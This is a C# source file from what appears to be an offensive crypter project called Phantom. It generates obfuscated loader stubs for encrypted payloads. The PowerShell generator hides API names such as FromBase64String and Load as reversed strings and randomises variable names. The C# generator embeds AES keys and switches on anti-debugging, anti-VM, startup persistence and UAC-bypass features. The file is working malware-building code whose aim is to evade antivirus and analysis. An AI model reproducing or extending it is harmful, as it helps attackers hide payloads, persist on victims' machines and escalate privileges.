C5Hackr-Phantom/Phantom/CodeGen/StubGen.cs

using System;
using System.Collections.Generic;
using System.Text;

using static Phantom.Utils;

namespace Phantom
{
    internal class StubGen
    {
        // Method to create PowerShell script
        internal static string CreatePS(byte[] key, byte[] iv, EncryptionMode mode, Random rng)
        {
            // Declare variables
            string stubcode = string.Empty;
            string base64DecodeString = @"('gnirtS46esaBmorF'[-1..-16] -join '')";
            string readAllTextString = @"('txeTllAdaeR'[-1..-11] -join '')";
            string loadString = @"('daoL'[-1..-4] -join '')";
            string decryptionKey = Convert.ToBase64String(key);
            string decryptionIV = Convert.ToBase64String(iv);
            string batPathVar = RandomString(5, rng);
            string contentsVar = RandomString(5, rng);
            string lastLineVar = RandomString(5, rng);
            string lineVar = RandomString(5, rng);
            string payloadVar = RandomString(5, rng);
            string msiVar = RandomString(5, rng);
            string msoVar = RandomString(5, rng);
            string gsVar = RandomString(5, rng);
            string obfStep1Var = RandomString(5, rng);
            string obfStep2Var = RandomString(5, rng);

            // Get embedded PowerShell script
            stubcode += GetEmbeddedString(@"Phantom.Resources.AESStub.ps1");

            // Replace placeholders with generated values
            stubcode = stubcode.Replace(@"FromBase64String", base64DecodeString)
                               .Replace(@"ReadAllText", readAllTextString)
                               .Replace(@"Load", loadString)
                               .Replace(@"DECRYPTION_KEY", decryptionKey)
                               .Replace(@"DECRYPTION_IV", decryptionIV)
                               .Replace(@"batPath_var", batPathVar)
                               .Replace(@"contents_var", contentsVar)
                               .Replace(@"lastline_var", lastLineVar)
                               .Replace(@"line_var", lineVar)
                               .Replace(@"payload_var", payloadVar)
                               .Replace(@"msi_var", msiVar)
                               .Replace(@"mso_var", msoVar)
                               .Replace(@"gs_var", gsVar)
                               .Replace(@"obfstep1_var", obfStep1Var)
                               .Replace(@"obfstep2_var", obfStep2Var)
                               .Replace(Environment.NewLine, string.Empty);

            // Return the generated PowerShell script
            return stubcode;
        }

        // Method to create C# stub code
        internal static string CreateCS(byte[] key, byte[] iv, EncryptionMode mode, bool antidebug, bool antivm, bool startup, bool uacbypass, bool native, Random rng)
        {
            // Declare variables
            string namespacename = RandomString(20, rng);
            string classname = RandomString(20, rng);
            string aesfunction = RandomString(20, rng);
            string uncompressfunction = RandomString(20, rng);
            string gerfunction = RandomString(20, rng);

            // Encrypt predefined strings
            string key_str = Convert.ToBase64String(key);
            string iv_str = Convert.ToBase64String(iv);

            string stub = string.Empty;
            string stubcode = GetEmbeddedString(@"Phantom.Resources.Stub.cs");

            // Add compiler flags if specified
            if (antidebug)
            {
                stub += "#define ANTI_DEBUG\n";
            }
            if (antivm)
            {
                stub += "#define ANTI_VM\n";
            }
            if (startup)
            {
                stub += "#define STARTUP\n";
            }
            if (uacbypass)
            {
                stub += "#define UAC_BYPASS\n";
            }
            if (native)
            {
                stub += "#define NATIVE\n";
            }

            // Replace placeholders with generated values
            stubcode = stubcode.Replace(@"namespace_name", namespacename)
                               .Replace(@"class_name", classname)
                               .Replace(@"aesfunction_name", aesfunction)
                               .Replace(@"uncompressfunction_name", uncompressfunction)
                               .Replace(@"getembeddedresourcefunction_name", gerfunction)
                               .Replace(@"key_str", key_str)
                               .Replace(@"iv_str", iv_str);

            // Concatenate stub code with additional compiler flags if specified
            stub += stubcode;

            // Return the generated C# stub code
            return stub;
        }
    }
}